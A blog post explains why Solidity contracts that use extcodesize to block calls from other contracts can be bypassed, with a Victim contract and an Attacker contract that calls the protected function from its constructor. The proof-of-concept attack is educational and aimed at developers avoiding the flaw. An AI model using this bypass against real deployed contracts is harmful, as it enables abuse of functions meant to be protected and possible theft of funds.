Bypass Solidity Contract Size Check

Posted on

In this post we will be talking about Bypass contract size check. Certain smart contract methods, for security reasons, are defined to only accept being called from external owned accounts (EOA) and not from other smart contracts.

In order to achieve this, some developers may opt to include, in those methods, a require statement to demand a msg.sender with zero code stored in its address. Unfortunately, this code size check, which relies on the assembly built-in extcodesize method, represents a security risk due to the fact that it can be easily bypassed by attackers who recognize this vulnerability.

This article aims to clarify the reasons to avoid relying on contract size checks for security purposes.

Understanding Solidity Contract Size Check vulnerability

By checking the size of the stored code, we can determine whether a given address corresponds to a deployed smart contract or an Externally Owned Account (EOA).

Solidity relies on extcodesize method for this, but it must be used with caution in view of the following reason. During contract’s constructor execution (executed unequivocally on every contract deployment) , extcodesize of the smart contract being deployed will return zero. No code exists at the contract address until the contract creation process concludes.

Hence, as there is no code stored at contract addresses until constructor execution ends, any function called from a smart contract’s constructor will bypass the target contract’s extcodesize check.

Description of contract size check hack

In the following example it will be shown how a vulnerable contract can be attacked if it has a method which relies on extcodesize method for rejecting calls from smart contracts.

pragma solidity ^0.8.9;

contract Victim {

   bool public tricked; 

   function isContract(address _addToEval) public view returns(bool){
     // The code is only stored at the end of the
     // constructor execution. 
     //Thus extcodesize returns 0 for contracts in construction
     uint32 size;
     assembly {
       size := extcodesize(_addToEval)
     }
     return (size > 0);
   }

 function supposedToBeProtected() external {
  require(!isContract(msg.sender), "caller is not an EOA");
        tricked = true;
 }

}

contract Attacker {
  
   bool public successfulAttack;
   Victim v;
  
   constructor(address _v) {
       v = Victim(_v);
       // address(this) doesn't have code, yet. Thus, it will bypass 
       //isContract() check 
       v.supposedToBeProtected();
       //tricked was set to true on the above execution
       successfulAttack = v.tricked(); 
   }
}
  1. The Victim contract deploys.
  2. The attacker contract deploys, feeding the previously deployed Victim contract’s address to its constructor.
    Inside Attacker constructor, Victim contract supposedToBeProtected() method was called. Given that Attacker was still on its deployment process, extcodesize of Attacker address, checked inside isContract() method, was zero. This way, it made it possible for Attacker contract to bypass this check and succeed in its attack.
See also  Web3.js vs Ethers.js: Picking the Right Ethereum Library for Your DApp

Conclusion

Checking code size on an address is useful when its objective is to benefit the user, for example, preventing users to transfer funds or tokens to contracts which could have them locked forever. When functions require the caller to be an Externally Owned Account (EOA) for security reasons, we should avoid depending on this method.

If the aimed is to prevent calls from other contracts,(tx.origin == msg.sender)could be used, though it also has drawbacks and potential vulnerabilities.

Posted in Blockchain, Ethereum, Smart Contract, Solidity, TechnologiesTagged , ,

Romina
By Romina